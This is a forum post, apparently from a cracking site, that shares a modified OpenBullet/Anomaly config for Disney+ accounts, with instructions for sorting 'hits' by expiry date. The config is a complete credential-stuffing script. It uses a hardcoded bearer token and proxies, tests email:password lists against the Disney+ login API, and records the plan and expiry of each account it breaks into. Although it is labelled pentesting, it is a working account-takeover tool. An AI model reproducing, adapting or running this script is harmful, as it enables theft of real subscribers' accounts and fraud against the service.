muabui
Protocol Reverse Engineer
2
MONTHS
2 2 MONTHS OF SERVICE
LEVEL 1
300 XP
Original thread: https://cracked.to/Thread-OB-anom-Disney-Pentesting-Config
the original config, is all good. but it caps the plan before. so can't really sort the expires ones.
all i did, is made the expire tab first. (edited).
so when you are saving hits, go to hits in the ob, select disney config. and then click on capture.
it'll sort the expires out.
edit: lazy to upload so, put in .txt and rename it disney.anom
Code:
the original config, is all good. but it caps the plan before. so can't really sort the expires ones.
all i did, is made the expire tab first. (edited).
so when you are saving hits, go to hits in the ob, select disney config. and then click on capture.
it'll sort the expires out.
edit: lazy to upload so, put in .txt and rename it disney.anom
Code:
Code:
[SETTINGS]
{
"Name": "Disney+ 1.6",
"SuggestedBots": 130,
"MaxCPM": 0,
"LastModified": "2020-11-30T21:15:32.3191618-08:00",
"AdditionalInfo": "For suggestions or feedback write me on Discord: Pirate#6969",
"Author": "PirateRAVI",
"Version": "1.4.4 [Anomaly]",
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"EncodeData": false,
"AllowedWordlist1": "MailPass",
"AllowedWordlist2": "MailPass",
"DataRules": [],
"CustomInputs": [],
"CaptchaUrl": "",
"Base64": "",
"Grayscale": false,
"RemoveLines": false,
"RemoveNoise": false,
"Dilate": false,
"Threshold": 1.0,
"DiffKeep": 0.0,
"DiffHide": 0.0,
"Saturate": false,
"Saturation": 0.0,
"Transparent": false,
"Contour": false,
"OnlyShow": false,
"ContrastGamma": false,
"Contrast": 1.0,
"Gamma": 1.0,
"Brightness": 1.0,
"RemoveLinesMin": 0,
"RemoveLinesMax": 0,
"Crop": false,
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
#devices REQUEST POST "https://global.edge.bamgrid.com/devices"
CONTENT "{\"deviceFamily\":\"application\",\"applicationRuntime\":\"iPhone7,2\",\"deviceProfile\":\"iPhone7,2\",\"attributes\":{}}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Disney+/23962 CFNetwork/978.0.7 Darwin/18.7.0"
HEADER "Host: global.edge.bamgrid.com"
HEADER "X-BAMSDK-Platform: iPhone7,2"
HEADER "Accept: application/json"
HEADER "X-BAMSDK-Client-ID: disney-svod-3d9324fc"
HEADER "Authorization: Bearer ZGlzbmV5JmFwcGxlJjEuMC4w.H9L7eJvc2oPYwDgmkoar6HzhBJRuUUzt_PcaC3utBI4"
HEADER "X-BAMSDK-Transaction-ID: 38352459-B3B6-4B40-BEA5-DF106B4A4020"
HEADER "Accept-Language: en-us"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "X-BAMSDK-Version: 9.9.2"
HEADER "X-DSS-Edge-Accept: vnd.dss.edge+json; version=1"
HEADER "Content-Length: 1019"
HEADER "Connection: close"
#BadLoc KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Ban OR
KEY "<RESPONSECODE>" Contains "403"
#1 PARSE "<SOURCE>" LR "assertion\":\"" "\"}" -> VAR "1"
#token REQUEST POST "https://global.edge.bamgrid.com/token " EncodeContent=TRUE
CONTENT "platform=iphone&grant_type=urn:ietf:params:oauth:grant-type:token-exchange&subject_token=<1>&subject_token_type=urn:bamtech:params:oauth:token-type:device"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "User-Agent: Disney+/23962 CFNetwork/978.0.7 Darwin/18.7.0"
HEADER "Pragma: no-cache"
HEADER "Accept: application/json"
HEADER "Host: global.edge.bamgrid.com"
HEADER "X-BAMSDK-Platform: iPhone7,2"
HEADER "X-BAMSDK-Client-ID: disney-svod-3d9324fc"
HEADER "Authorization: Bearer ZGlzbmV5JmFwcGxlJjEuMC4w.H9L7eJvc2oPYwDgmkoar6HzhBJRuUUzt_PcaC3utBI4"
HEADER "X-BAMSDK-Transaction-ID: 38352459-B3B6-4B40-BEA5-DF106B4A4020"
HEADER "Accept-Language: en-us"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "X-BAMSDK-Version: 9.9.2"
HEADER "X-DSS-Edge-Accept: vnd.dss.edge+json; version=1"
HEADER "Content-Length: 1019"
HEADER "Connection: close"
#2 PARSE "<SOURCE>" LR "access_token\":\"" "\",\"" -> VAR "2"
#ban_check KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Ban OR
KEY "unauthorized_client"
KEY "invalid-token"
#login REQUEST POST "https://global.edge.bamgrid.com/idp/login"
CONTENT "{\"email\":\"<USER>\",\"password\":\"<PASS>\"}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Disney+/23962 CFNetwork/978.0.7 Darwin/18.7.0"
HEADER "Host: global.edge.bamgrid.com"
HEADER "X-BAMSDK-Platform: iPhone7,2"
HEADER "Accept: application/json; charset=utf-8"
HEADER "X-BAMSDK-Client-ID: disney-svod-3d9324fc"
HEADER "Authorization: Bearer <2>"
HEADER "X-BAMSDK-Transaction-ID: B60EB6F9-C59D-4037-827A-6D1E9B707F69"
HEADER "Accept-Language: en-us"
HEADER "Accept-Encoding: br, gzip, deflate"
HEADER "X-BAMSDK-Version: 9.9.2"
HEADER "X-DSS-Edge-Accept: vnd.dss.edge+json; version=1"
HEADER "Content-Length: 67"
HEADER "Connection: keep-alive"
#verify_login KEYCHECK
KEYCHAIN Success OR
KEY "id_token"
KEYCHAIN Failure OR
KEY "Bad credentials sent for"
KEY "is not a valid email Address at /email"
KEYCHAIN Retry OR
KEY "{\"errors\":[{\"code\":\"forbidden\"}]}"
KEY "access-token.invalid"
#3 PARSE "<SOURCE>" LR "id_token\":\"" "\",\"" -> VAR "3"
#account REQUEST POST "https://global.edge.bamgrid.com/accounts/grant"
CONTENT "{\"id_token\":\"<3>\"}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Disney+/23962 CFNetwork/978.0.7 Darwin/18.7.0"
HEADER "Host: global.edge.bamgrid.com"
HEADER "X-BAMSDK-Platform: iPhone7,2"
HEADER "Accept: application/json; charset=utf-8"
HEADER "X-BAMSDK-Client-ID: disney-svod-3d9324fc"
HEADER "Authorization: Bearer <2>"
HEADER "X-BAMSDK-Transaction-ID: B60EB6F9-C59D-4037-827A-6D1E9B707F69"
HEADER "Accept-Language: en-us"
HEADER "Accept-Encoding: br, gzip, deflate"
HEADER "X-BAMSDK-Version: 9.9.2"
HEADER "X-DSS-Edge-Accept: vnd.dss.edge+json; version=1"
HEADER "Content-Length: 67"
HEADER "Connection: keep-alive"
#4 PARSE "<SOURCE>" LR "assertion\":\"" "\"}" -> VAR "4"
#token REQUEST POST "https://global.edge.bamgrid.com/token " EncodeContent=TRUE
CONTENT "grant_type=urn:ietf:params:oauth:grant-type:token-exchange&latitude=0&longitude=0&platform=browser&subject_token=<4>&subject_token_type=urn:bamtech:params:oauth:token-type:account"
CONTENTTYPE "application/x-www-form-urlencoded"
HEADER "User-Agent: Disney+/23962 CFNetwork/978.0.7 Darwin/18.7.0"
HEADER "Host: global.edge.bamgrid.com"
HEADER "X-BAMSDK-Platform: iPhone7,2"
HEADER "Accept: application/json"
HEADER "X-BAMSDK-Client-ID: disney-svod-3d9324fc"
HEADER "Authorization: Bearer ZGlzbmV5JmFwcGxlJjEuMC4w.H9L7eJvc2oPYwDgmkoar6HzhBJRuUUzt_PcaC3utBI4"
HEADER "X-BAMSDK-Transaction-ID: 38352459-B3B6-4B40-BEA5-DF106B4A4020"
HEADER "Accept-Language: en-us"
HEADER "Accept-Encoding: gzip, deflate"
HEADER "X-BAMSDK-Version: 9.9.2"
HEADER "X-DSS-Edge-Accept: vnd.dss.edge+json; version=1"
HEADER "Content-Length: 1019"
HEADER "Connection: close"
#5 PARSE "<SOURCE>" LR "access_token\":\"" "\",\"" -> VAR "5"
#subscription REQUEST GET "https://global.edge.bamgrid.com/subscriptions"
HEADER "User-Agent: Disney+/23962 CFNetwork/978.0.7 Darwin/18.7.0"
HEADER "Pragma: no-cache"
HEADER "Accept: application/json"
HEADER "X-BAMSDK-Platform: iPhone7,2"
HEADER "X-BAMSDK-Client-ID: disney-svod-3d9324fc"
HEADER "authorization: Bearer <5>"
HEADER "X-BAMSDK-Version: 9.9.2"
#expiry PARSE "<SOURCE>" LR "expirationDate\":\"" "T" -> CAP "Expires On"
#plan PARSE "<SOURCE>" LR "name\":\"" "\",\"" Recursive=TRUE -> CAP "Product/s"
#free_check KEYCHECK BanOnToCheck=FALSE
KEYCHAIN Custom "FREE" OR
KEY "[]"